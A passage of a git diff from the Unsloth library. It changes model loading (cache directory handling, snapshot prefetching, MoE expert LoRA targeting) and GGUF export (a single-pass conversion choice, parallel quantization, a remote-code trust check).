+            local_files_only = kwargs.get("local_files_only", False),
+            # Forward force_download so the refresh happens in the killable child, then clear it so the
+            # in-process ST load reuses the warm cache instead of re-downloading over unguarded Xet.
+            force_download = kwargs.get("force_download", False),
+        )
+        if _st_prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
         # if for_inference == True, skip Unsloth optimizations to avoid torch compile issues
         if for_inference:
             st_device = device_map
@@ -1416,27 +1551,16 @@ class FastSentenceTransformer(FastModel):
                 if k in kwargs:
                     st_kwargs[k] = kwargs[k]
 
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
+            _st_cache = kwargs.get("cache_dir") or kwargs.get("cache_folder")
+            if _st_cache is not None:
+                st_kwargs["cache_folder"] = _st_cache
+
             st_model = SentenceTransformer(model_name, **st_kwargs)
             return st_model
 
-        # sanity check, thanks Etherl:
-        if full_finetuning and (load_in_4bit or load_in_8bit):
-            print(
-                "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
-            )
-            load_in_4bit = False
-            load_in_8bit = False
-            load_in_fp8 = False
-            load_in_16bit = False
-
-        if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
-            raise RuntimeError(
-                "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
-                "Also, we by default set `load_in_16bit = True`.\n"
-                "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
-                "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
-            )
-
+        # Load-mode validation already ran before the prefetch above.
         if "auto_model" not in kwargs:
             kwargs["auto_model"] = AutoModel
 
@@ -1533,7 +1657,8 @@ class FastSentenceTransformer(FastModel):
                 elif is_mpnet:
                     FastSentenceTransformer._patch_mpnet_v5()
 
-            # Load via native SentenceTransformer (bypasses Unsloth patching)
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
             st_model = SentenceTransformer(
                 model_name,
                 device = st_device,
@@ -1541,6 +1666,7 @@ class FastSentenceTransformer(FastModel):
                 token = token,
                 revision = revision,
                 model_kwargs = model_kwargs,
+                cache_folder = kwargs.get("cache_dir") or kwargs.get("cache_folder"),
             )
 
             # Store metadata for get_peft_model
@@ -1646,7 +1772,18 @@ class FastSentenceTransformer(FastModel):
 
         # No modules.json -> force 16-bit: saving is custom for these models and
         # 4-bit would need dequant in save_pretrained_merged, not worth it.
-        has_modules_json = FastSentenceTransformer._module_path(model_name, token) is not None
+        # Resolve the warmed cache: hf_hub_download ignores SENTENCE_TRANSFORMERS_HOME, so pass it as cache_dir.
+        has_modules_json = (
+            FastSentenceTransformer._module_path(
+                model_name,
+                token,
+                cache_dir = kwargs.get("cache_dir")
+                or kwargs.get("cache_folder")
+                or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+                revision = revision,
+            )
+            is not None
+        )
 
         if not has_modules_json and load_in_4bit:
             print(
@@ -1656,6 +1793,12 @@ class FastSentenceTransformer(FastModel):
             load_in_4bit = False
             load_in_16bit = True
 
+        # The fallback FastModel load reads HF cache_dir, not ST's cache_folder/SENTENCE_TRANSFORMERS_HOME.
+        # Point it at the warmed cache, but only when no explicit cache_dir was passed (which wins).
+        _st_cache_dir = kwargs.get("cache_folder") or os.environ.get("SENTENCE_TRANSFORMERS_HOME")
+        if _st_cache_dir is not None and "cache_dir" not in kwargs:
+            kwargs["cache_dir"] = _st_cache_dir
+
         try:
             model, tokenizer = FastModel.from_pretrained(
                 model_name = model_name,
@@ -1697,6 +1840,12 @@ class FastSentenceTransformer(FastModel):
             max_seq_length,
             pooling_mode,
             trust_remote_code = trust_remote_code,
+            # Same resolved cache as above so the fallback module loads hit the warm, not Xet.
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            # Same revision as the weight load so modules hit the warm (None = default branch).
+            revision = revision,
         )
 
         st_device = device_map
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 689e362f95..729c191e83 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -37,10 +37,15 @@ from ._utils import (
     _get_text_only_config,
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
+    _select_moe_detection_targets,
     set_task_config_attr,
 )
 from ._utils import *
-from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
+from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
+    _get_fp8_mode_and_check_settings,
+    _restore_dropped_fp8_scales,
+)
 from ..save import patch_saving_functions
 from ..models.loader_utils import is_distributed
 from unsloth_zoo.gradient_checkpointing import (
@@ -551,6 +556,7 @@ def _construct_vlm_processor_fallback(
     model_type,
     token,
     trust_remote_code,
+    cache_dir = None,
     local_files_only = False,
 ):
     """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs
@@ -568,6 +574,7 @@ def _construct_vlm_processor_fallback(
             tokenizer_name,
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
             local_files_only = local_files_only,
         )
         # Load tokenizer via PreTrainedTokenizerFast (bypasses tokenizer_class check)
@@ -576,6 +583,7 @@ def _construct_vlm_processor_fallback(
             padding_side = "left",
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
             local_files_only = local_files_only,
         )
         # Read tokenizer_config.json for special tokens: prefer the local file (offline
@@ -601,6 +609,7 @@ def _construct_vlm_processor_fallback(
                     tokenizer_name,
                     "tokenizer_config.json",
                     token = token,
+                    cache_dir = cache_dir,
                     local_files_only = local_files_only,
                 )
                 with open(config_path, "r", encoding = "utf-8") as f:
@@ -632,6 +641,7 @@ def _construct_vlm_processor_fallback(
                     tokenizer_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = cache_dir,
                     local_files_only = local_files_only,
                 )
                 proc_class_name = PROCESSOR_MAPPING_NAMES.get(config.model_type)
@@ -729,7 +739,7 @@ class FastBaseModel:
 
         if unsloth_vllm_standby and os.environ.get("UNSLOTH_VLLM_STANDBY", "0") != "1":
             raise RuntimeError(
-                "Unsloth: UNSLOTH_VLLM_STANDBY is True, but UNSLOTH_VLLM_STANDBY is not set to 1!"
+                "Unsloth: `unsloth_vllm_standby` is True, but environment variable `UNSLOTH_VLLM_STANDBY` is not set to 1!"
             )
 
         if model_types is None:
@@ -872,6 +882,9 @@ class FastBaseModel:
         # For debugging - we use a download counter to see if environments are not breaking or if HF is down
         get_statistics(kwargs.get("local_files_only", False))
 
+        # The base + tokenizer prefetch runs AFTER the load-mode validation below, so an invalid
+        # load_in_* combination fails without first downloading a snapshot.
+
         if dtype is None:
             dtype = torch.float16 if not SUPPORTS_BFLOAT16 else torch.bfloat16
         elif os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
@@ -968,6 +981,53 @@ class FastBaseModel:
             raise RuntimeError(
                 "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!"
             )
+
+        # Prefetch the repo (killable child) so the in-process load below is a cache hit. vLLM owns the
+        # weight download only when actually available; if fast_inference was requested but vLLM is
+        # missing, the load falls through in-process, so weights must still be warmed here.
+        _vllm_owns_weights = fast_inference and is_vLLM_available()
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = kwargs.get("revision"),
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            fast_inference = _vllm_owns_weights,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Warm a SEPARATE tokenizer repo only (model_name is covered above). Not model_name here: this
+        # runs before fast_inference_setup may remap the repo, so it would warm the wrong one.
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and _tokenizer_repo != model_name
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         _skip_modules = SKIP_QUANTIZATION_MODULES.copy()
         # Nemotron-H uses 'mixer' (not 'mamba') for Mamba layers.
         # Mamba fused kernels pass out_proj.weight directly to F.linear,
@@ -1136,6 +1196,17 @@ class FastBaseModel:
                     offload_embedding = offload_embedding,
                     fast_inference = fast_inference,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = local_files_only,
+                    token = token,
+                    revision = kwargs.get("revision"),
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
                 if hasattr(model, "generate"):
                     model.fast_generate = make_fast_generate_wrapper(model.generate)
                     model.fast_generate_batches = error_out_no_vllm
@@ -1278,6 +1349,18 @@ class FastBaseModel:
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
 
+        # On the vLLM path the tokenizer warm was deferred (fast_inference_setup may remap model_name).
+        # Warm the now-final tokenizer repo so the load below hits the cache (a cached/local repo is a no-op).
+        if _vllm_owns_weights and isinstance(tokenizer_name, str) and tokenizer_name:
+            maybe_prefetch_hf_snapshot(
+                tokenizer_name,
+                token = token,
+                revision = kwargs.get("revision"),
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         # Fix _Unsloth_Patched_ prefix in local config files from old saves (issue #4085)
         if os.path.isdir(tokenizer_name):
             import json as _json
@@ -1315,6 +1398,7 @@ class FastBaseModel:
                         language = whisper_language,
                         task = whisper_task,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _e:
@@ -1327,6 +1411,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _e:
@@ -1337,6 +1422,7 @@ class FastBaseModel:
                             padding_side = "left",
                             token = token,
                             trust_remote_code = trust_remote_code,
+                            cache_dir = kwargs.get("cache_dir"),
                             local_files_only = lfo,
                         )
                     except Exception:
@@ -1355,6 +1441,7 @@ class FastBaseModel:
                         model_type_arch,
                         token,
                         trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _fe:
@@ -1440,6 +1527,7 @@ class FastBaseModel:
                     padding_side = "left",
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = kwargs.get("cache_dir"),
                     local_files_only = local_files_only,
                 )
                 model, _fallback_tok = patch_tokenizer(model, _fallback_tok)
@@ -1469,6 +1557,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception:
@@ -1478,6 +1567,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
 
@@ -1629,6 +1719,16 @@ class FastBaseModel:
             )
         else:
             _audio_kwargs = {}
+        # Remember the caller's ORIGINAL explicit leaf list for MoE expert
+        # detection. When an explicit list is routed through get_peft_regex for
+        # family scoping below, the generated regex carries get_peft_regex's full
+        # "mlp|feed_forward|ffn|dense" component block even when the caller named
+        # only attention leaves (q/k/v/o_proj). Keying expert detection on that
+        # regex would train the experts for an attention-only request. The
+        # original list carries the true leaf intent, so use it for MoE detection;
+        # only the auto (None / "all-linear") path relies on the regex, whose mlp
+        # block is the sole remaining MLP-intent signal on fused-expert models.
+        _moe_detect_target = target_modules if type(target_modules) in (list, tuple) else None
         if target_modules is None or target_modules == "all-linear":
             target_modules = get_peft_regex(
                 model,
@@ -1706,9 +1806,50 @@ class FastBaseModel:
             loftq_config, lora_dropout, bias, init_lora_weights, model
         )
 
-        # Auto-detect MoE models and populate target_parameters for expert layers
+        # Auto-detect MoE models and populate target_parameters for expert layers.
+        # Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+        # attention-only request does not train experts via get_peft_regex's mlp block,
+        # but only when MLP and language families are both still in scope. If the caller
+        # scoped MLP or language OFF (finetune_mlp_modules / finetune_language_layers
+        # False), the scoped regex already dropped the experts, so honor it instead of
+        # re-introducing the original list's gate/up/down leaves.
         if target_parameters is None:
-            target_parameters = get_moe_target_parameters(model, target_modules)
+            _moe_targets = _select_moe_detection_targets(
+                _moe_detect_target,
+                target_modules,
+                finetune_mlp_modules = finetune_mlp_modules,
+                finetune_language_layers = finetune_language_layers,
+            )
+            target_parameters = get_moe_target_parameters(model, _moe_targets)
+
+        # Per-expert Linear expert layouts (e.g. gpt-oss bnb-4bit) target experts via
+        # target_modules, not fused Parameters. Extend either form PEFT accepts: a leaf
+        # list (explicit) or a regex string (auto / all-linear / scoped). No-op otherwise.
+        _moe_module_detect = _select_moe_detection_targets(
+            _moe_detect_target,
+            target_modules,
+            finetune_mlp_modules = finetune_mlp_modules,
+            finetune_language_layers = finetune_language_layers,
+        )
+        _moe_module_targets = get_moe_target_modules(model, _moe_module_detect)
+        if _moe_module_targets:
+            if isinstance(target_modules, (list, tuple)):
+                target_modules = list(target_modules) + [
+                    target for target in _moe_module_targets if target not in target_modules
+                ]
+            elif isinstance(target_modules, str):
+                _expert_leaves = sorted({t.rsplit(".", 1)[0] for t in _moe_module_targets})
+                _expert_alt = (
+                    r".*\.experts\.(?:"
+                    + "|".join(re.escape(leaf) for leaf in _expert_leaves)
+                    + r")\.\d+"
+                )
+                target_modules = f"(?:{target_modules})|(?:{_expert_alt})"
+            print(
+                f"Unsloth: Detected MoE model with per-expert Linear experts. "
+                f"Enabling LoRA on {len(_moe_module_targets)} expert projection modules."
+            )
+            warn_if_zoo_cannot_merge_moe_experts()
 
         if finetune_last_n_layers is not None and layers_to_transform is None:
             _total_layers = _get_total_transformer_layers(model)
@@ -2207,3 +2348,16 @@ def check_dataset_for_missing_videos(
         warnings.warn(error_msg, stacklevel = 2)
 
     return missing
+
+
+# Auto-enable grouped-GEMM MoE (transformers<5 ModuleList experts); see llama.py.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastBaseModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.from_pretrained)
+    )
+    FastBaseModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.get_peft_model)
+    )
+except Exception:
+    pass
diff --git a/unsloth/registry/_deepseek.py b/unsloth/registry/_deepseek.py
index e29190f0f2..618453fb82 100644
--- a/unsloth/registry/_deepseek.py
+++ b/unsloth/registry/_deepseek.py
@@ -171,8 +171,6 @@ def _list_deepseek_r1_distill_models():
     return distill_models
 
 
-register_deepseek_models(include_original_model = True)
-
 if __name__ == "__main__":
     from unsloth.registry.registry import MODEL_REGISTRY, _check_model_info
 
diff --git a/unsloth/save.py b/unsloth/save.py
index 50ae4119bd..0e2650b174 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -223,6 +223,49 @@ def _normalize_torchao_method(save_method):
     return TORCHAO_EXPORT_SCHEMES.get(key)
 
 
+def _loaded_via_remote_code(obj):
+    """True if `obj`'s class comes from downloaded custom code (an auto_map module).
+
+    Transformers loads auto_map code into the ``transformers_modules`` package, so a
+    ``transformers_modules`` class proves the original load actually ran that remote code
+    (which the caller's / Unsloth's consent gate scans at load time). Export paths derive their
+    reload trust_remote_code from this - the already approved load decision - instead of from a
+    checkpoint's static ``auto_map``: a model that loads with built-in classes must not have its
+    unvetted remote code run when it is re-read during quantization export. Walks PEFT / wrapper
+    layers so a LoRA over a custom-code base is still detected, and processor components so a
+    custom tokenizer held inside a built-in processor keeps its approved trust.
+    """
+    seen = set()
+    queue = [obj]
+    while queue and len(seen) < 16:
+        node = queue.pop(0)
+        if node is None or id(node) in seen:
+            continue
+        seen.add(id(node))
+        # __module__ can be None/absent on some dynamically created or C-extension classes;
+        # treat anything non-string as "not remote code" rather than crashing the export.
+        module = getattr(type(node), "__module__", None)
+        if isinstance(module, str) and module.startswith("transformers_modules"):
+            return True
+        if hasattr(node, "get_base_model"):
+            try:
+                queue.append(node.get_base_model())
+            except Exception:
+                pass
+        # PEFT / trainer wrappers hold the real model in base_model / model; a built-in
+        # ProcessorMixin holds its (possibly custom-code) components as attributes.
+        for attr in (
+            "base_model",
+            "model",
+            "tokenizer",
+            "image_processor",
+            "feature_extractor",
+            "video_processor",
+        ):
+            queue.append(getattr(node, attr, None))
+    return False
+
+
 def _normalize_compressed_method(save_method):
     """Return (scheme, needs_calibration, suffix) if `save_method` is an FP8/FP4 compressed
     export, else None (so normal lora / merged_16bit / merged_4bit handling proceeds).
@@ -1691,6 +1734,33 @@ def get_executable(executables):
     return None
 
 
+# Output types convert_hf_to_gguf.py can emit directly via --outtype.
+_DIRECT_CONVERT_OUTTYPES = ("f32", "f16", "bf16", "q8_0")
+
+
+def _choose_first_conversion(
+    quantization_methods,
+    model_dtype,
+    has_imatrix = False,
+):
+    """Pick the dtype of the initial HF -> GGUF conversion.
+
+    Single-pass fast path: when exactly one output type is requested and
+    convert_hf_to_gguf.py can emit it directly (f32/f16/bf16/q8_0), convert straight to
+    it - the llama-quantize pass and the 16-bit intermediate file are skipped entirely.
+    An imatrix forces the two-pass route since only llama-quantize can apply one.
+
+    Every other case converts to the source dtype first, so each requested method is
+    quantized from weights identical to the checkpoint's.
+    """
+    unique_methods = set(quantization_methods)
+    if len(unique_methods) == 1 and not has_imatrix:
+        only_method = next(iter(unique_methods))
+        if only_method in _DIRECT_CONVERT_OUTTYPES:
+            return only_method
+    return model_dtype
+
+
 def save_to_gguf(
     model_name: str,
     model_type: str,
@@ -1739,10 +1809,6 @@ def save_to_gguf(
         )
         model_dtype = "f16"
 
-    # Check first_conversion as well
-    if first_conversion is None:
-        first_conversion = model_dtype
-
     has_imatrix = imatrix is not None and str(imatrix) != ""
     if has_imatrix:
         # quantize_gguf gained the imatrix kwarg in a recent unsloth_zoo; fail fast (before the
@@ -1791,32 +1857,12 @@ def save_to_gguf(
         first_conversion = "None"  # No quantization for GPT-OSS
         # Only keep one conversion method since GPT-OSS doesn't quantize
         quantization_method = ["None"]
-    else:
-        if first_conversion is None:
-            # Check if q8_0 is the ONLY quantization method requested
-            if len(quantization_method) == 1 and quantization_method[0] == "q8_0":
-                first_conversion = "None"  # Let llama-quantize do the direct conversion
-            else:
-                # For all other cases, choose the highest precision format
-                # that can be requantized to all requested formats
-                strength = 0
-                for quant_method in quantization_method:
-                    if quant_method == "f32":
-                        strength = max(strength, 3)
-                    elif quant_method == "f16":
-                        strength = max(strength, 2)
-                    elif quant_method == "bf16":
-                        strength = max(strength, 1)
-                    # Note: we don't set strength for q8_0 here since we handle it above
-
-                if strength >= 3:
-                    first_conversion = "f32"
-                elif strength >= 2:
-                    first_conversion = "f16"
-                elif strength >= 1:
-                    first_conversion = "bf16"
-                else:
-                    first_conversion = "bf16"  # requantizing from q8_0 disallowed in new llama.cpp default to bf16.
+    elif first_conversion is None:
+        first_conversion = _choose_first_conversion(
+            quantization_method,
+            model_dtype,
+            has_imatrix = has_imatrix,
+        )
 
     # Check bfloat16 support again for first_conversion
     if first_conversion == "bf16" and not torch.cuda.is_bf16_supported():
@@ -1825,12 +1871,19 @@ def save_to_gguf(
 
     first_conversion_dtype = "" if first_conversion == "None" else first_conversion
     # Print conversion info
+    needs_quantize_pass = any(m != first_conversion for m in quantization_method)
+    if needs_quantize_pass:
+        second_step = f"[2] Converting GGUF {first_conversion_dtype} to {quantization_method} might take 10 minutes each."
+        total_line = "In total, you will have to wait at least 16 minutes."
+    else:
+        second_step = f"[2] Single-pass export: converting straight to {quantization_method} - no separate quantize step."
+        total_line = "In total, you will have to wait at least 6 minutes."
     print_info = (
         f"==((====))==  Unsloth: Conversion from HF to GGUF information\n"
         f"   {chr(92)}{chr(92)}   /|    [0] Installing llama.cpp might take 3 minutes.\n"
         f"O^O/ {chr(92)}_/ {chr(92)}    [1] Converting HF to GGUF {first_conversion_dtype} might take 3 minutes.\n"
-        f"{chr(92)}        /    [2] Converting GGUF {first_conversion_dtype} to {quantization_method} might take 10 minutes each.\n"
-        f' "-____-"     In total, you will have to wait at least 16 minutes.\n'
+        f"{chr(92)}        /    {second_step}\n"
+        f' "-____-"     {total_line}\n'
     )
     print(print_info)
 
@@ -1916,75 +1969,154 @@ def save_to_gguf(
 
     if not is_gpt_oss:
         base_gguf = initial_files[0]
-        quants_created = False
-        for quant_method in quantization_method:
-            if quant_method != first_conversion:
+
+        # Deduplicate while keeping order; methods equal to the base conversion already
+        # exist on disk and need no quantize pass.
+        methods_to_quantize = [
+            m for m in dict.fromkeys(quantization_method) if m != first_conversion
+        ]
+
+        def _quantize_one(quant_method, n_threads = None):
+            output_location = os.path.join(
+                gguf_directory, f"{model_name}.{quant_method.upper()}.gguf"
+            )
+            try:
+                if quant_method == "q2_k_l":
+                    return _quantize_q2_k_l(
+                        input_gguf = base_gguf,
+                        output_gguf = output_location,
+                        quantizer_location = quantizer_location,
+                        n_threads = n_threads if n_threads is not None else n_cpus,
+                        print_output = print_output,
+                        imatrix = imatrix,
+                    )
+                else:
+                    # Use unsloth-zoo's standard quantization for all other methods. Only pass
+                    # imatrix when set so older unsloth_zoo (no imatrix kwarg) still works for
+                    # plain quants; an imatrix that cannot be applied was rejected above.
+                    quant_kwargs = dict(
+                        input_gguf = base_gguf,
+                        output_gguf = output_location,
+                        quant_type = quant_method,
+                        quantizer_location = quantizer_location,
+                        print_output = print_output,
+                    )
+                    if has_imatrix:
+                        quant_kwargs["imatrix"] = imatrix
+                    if n_threads is not None:
+                        quant_kwargs["n_threads"] = n_threads
+                    return quantize_gguf(**quant_kwargs)
+            except Exception as e:
+                if IS_KAGGLE_ENVIRONMENT:
+                    raise RuntimeError(
+                        f"Unsloth: Quantization failed for {output_location}\n"
+                        "You are in a Kaggle environment, which might be the reason this is failing.\n"
+                        "Kaggle only provides 20GB of disk space in the working directory.\n"
+                        "Merging to 16bit for 7b models use 16GB of space.\n"
+                        "This means using `model.{save_pretrained/push_to_hub}_merged` works, but\n"
+                        "`model.{save_pretrained/push_to_hub}_gguf will use too much disk space.\n"
+                        "You can try saving it to the `/tmp` directory for larger disk space.\n"
+                        "I suggest you to save the 16bit model first, then use manual llama.cpp conversion.\n"
+                        f"Error: {e}"
+                    )
+                else:
+                    if IS_WINDOWS:
+                        build_instructions = (
+                            f'cd "{LLAMA_CPP_DEFAULT_DIR}"\n'
+                            f"cmake -S . -B build -DBUILD_SHARED_LIBS=OFF\n"
+                            f"cmake --build build --config Release"
+                        )
+                    else:
+                        build_instructions = (
+                            f'cd "{LLAMA_CPP_DEFAULT_DIR}" && make clean && make all -j'
+                        )
+
+                    raise RuntimeError(
+                        f"Unsloth: Quantization failed for {output_location}\n"
+                        "You might have to compile llama.cpp yourself, then run this again.\n"
+                        "You do not need to close this Python program. Run the following commands in a new terminal:\n"
+                        f'git clone --recursive https://github.com/ggerganov/llama.cpp "{LLAMA_CPP_DEFAULT_DIR}"\n'
+                        f"{build_instructions}\n"
+                        "Once that's done, redo the quantization.\n"
+                        f"Error: {e}"
+                    )
+
+        # Outputs already on disk pre-date this run; never delete them on a failure.
+        preexisting_outputs = {
+            m
+            for m in methods_to_quantize
+            if os.path.exists(os.path.join(gguf_directory, f"{model_name}.{m.upper()}.gguf"))
+        }
+        # Each llama-quantize pass loads the whole base GGUF into RAM, so only run two at
+        # once when the host has headroom for two copies, else a multi-quant export that
+        # fit sequentially could OOM.
+        try:
+            base_bytes = sum(
+                os.path.getsize(f)
+                for f in initial_files
+                if "-mmproj" not in os.path.basename(f).lower()
+            )
+            mem_ok = psutil.virtual_memory().available >= int(2.5 * base_bytes)
+        except Exception:
+            mem_ok = False
+        # Independent llama-quantize runs on the same base GGUF can overlap. Kept at 2
+        # workers; run sequentially when streaming logs (UNSLOTH_ENABLE_LOGGING), on
+        # Kaggle/Colab, when RAM is tight, or when the kill switch (0/false/no/off/empty)
+        # is set.
+        _parallel_flag = os.environ.get("UNSLOTH_PARALLEL_GGUF_QUANTS", "1").strip().lower()
+        parallel_quants = (
+            len(methods_to_quantize) > 1
+            and not print_output
+            and not IS_KAGGLE_ENVIRONMENT
+            and not IS_COLAB_ENVIRONMENT
+            and mem_ok
+            and _parallel_flag not in ("0", "false", "no", "off", "")
+        )
+        if parallel_quants:
+            max_workers = min(2, len(methods_to_quantize))
+            # Split the thread budget so total threads match the sequential run.
+            per_worker_threads = max(1, n_cpus // max_workers)
+            print(
+                f"Unsloth: [2] Converting GGUF {first_conversion_dtype} into "
+                f"{methods_to_quantize}, {max_workers} at a time. This might take 10 minutes each..."
+            )
+            from concurrent.futures import ThreadPoolExecutor, wait, FIRST_EXCEPTION
+
+            quantized_files = [None] * len(methods_to_quantize)
+            with ThreadPoolExecutor(max_workers = max_workers) as pool:
+                future_to_idx = {
+                    pool.submit(_quantize_one, method, per_worker_threads): i
+                    for i, method in enumerate(methods_to_quantize)
+                }
+                done, pending = wait(future_to_idx, return_when = FIRST_EXCEPTION)
+                # Do not start queued passes after a failure (avoid filling the disk).
+                for fut in pending:
+                    fut.cancel()
+                first_exc = next((f.exception() for f in done if f.exception() is not None), None)
+                if first_exc is not None:
+                    # Remove only outputs this run newly created; a file that pre-dated the
+                    # run (or a canceled pass that never wrote) is left intact, so a rerun
+                    # never deletes a prior artifact. Base kept for retry.
+                    wait(future_to_idx)
+                    for method in methods_to_quantize:
+                        if method in preexisting_outputs:
+                            continue
+                        Path(
+                            os.path.join(gguf_directory, f"{model_name}.{method.upper()}.gguf")
+                        ).unlink(missing_ok = True)
+                    raise first_exc
+                for fut, i in future_to_idx.items():
+                    quantized_files[i] = fut.result()
+        else:
+            quantized_files = []
+            for quant_method in methods_to_quantize:
                 print(
                     f"Unsloth: [2] Converting GGUF {first_conversion_dtype} into {quant_method}. This might take 10 minutes..."
                 )
-                output_location = os.path.join(
-                    gguf_directory, f"{model_name}.{quant_method.upper()}.gguf"
-                )
-                try:
-                    if quant_method == "q2_k_l":
-                        quantized_file = _quantize_q2_k_l(
-                            input_gguf = base_gguf,
-                            output_gguf = output_location,
-                            quantizer_location = quantizer_location,
-                            n_threads = n_cpus,
-                            print_output = print_output,
-                            imatrix = imatrix,
-                        )
-                    else:
-                        # Use unsloth-zoo's standard quantization for all other methods. Only pass
-                        # imatrix when set so older unsloth_zoo (no imatrix kwarg) still works for
-                        # plain quants; an imatrix that cannot be applied was rejected above.
-                        quant_kwargs = dict(
-                            input_gguf = base_gguf,
-                            output_gguf = output_location,
-                            quant_type = quant_method,
-                            quantizer_location = quantizer_location,
-                            print_output = print_output,
-                        )
-                        if has_imatrix:
-                            quant_kwargs["imatrix"] = imatrix
-                        quantized_file = quantize_gguf(**quant_kwargs)
-                    all_saved_locations.append(quantized_file)
-                    quants_created = True
-                except Exception as e:
-                    if IS_KAGGLE_ENVIRONMENT:
-                        raise RuntimeError(
-                            f"Unsloth: Quantization failed for {output_location}\n"
-                            "You are in a Kaggle environment, which might be the reason this is failing.\n"
-                            "Kaggle only provides 20GB of disk space in the working directory.\n"
-                            "Merging to 16bit for 7b models use 16GB of space.\n"
-                            "This means using `model.{save_pretrained/push_to_hub}_merged` works, but\n"
-                            "`model.{save_pretrained/push_to_hub}_gguf will use too much disk space.\n"
-                            "You can try saving it to the `/tmp` directory for larger disk space.\n"
-                            "I suggest you to save the 16bit model first, then use manual llama.cpp conversion.\n"
-                            f"Error: {e}"
-                        )
-                    else:
-                        if IS_WINDOWS:
-                            build_instructions = (
-                                f'cd "{LLAMA_CPP_DEFAULT_DIR}"\n'
-                                f"cmake -S . -B build -DBUILD_SHARED_LIBS=OFF\n"
-                                f"cmake --build build --config Release"
-                            )
-                        else:
-                            build_instructions = (
-                                f'cd "{LLAMA_CPP_DEFAULT_DIR}" && make clean && make all -j'
-                            )
+                quantized_files.append(_quantize_one(quant_method))
 
-                        raise RuntimeError(
-                            f"Unsloth: Quantization failed for {output_location}\n"
-                            "You might have to compile llama.cpp yourself, then run this again.\n"
-                            "You do not need to close this Python program. Run the following commands in a new terminal:\n"
-                            f'git clone --recursive https://github.com/ggerganov/llama.cpp "{LLAMA_CPP_DEFAULT_DIR}"\n'
-                            f"{build_instructions}\n"
-                            "Once that's done, redo the quantization.\n"
-                            f"Error: {e}"
-                        )
+        all_saved_locations.extend(quantized_files)
+        quants_created = len(quantized_files) > 0
         print("Unsloth: Model files cleanup...")
         want_full_precision = first_conversion in quantization_method
         if quants_created:
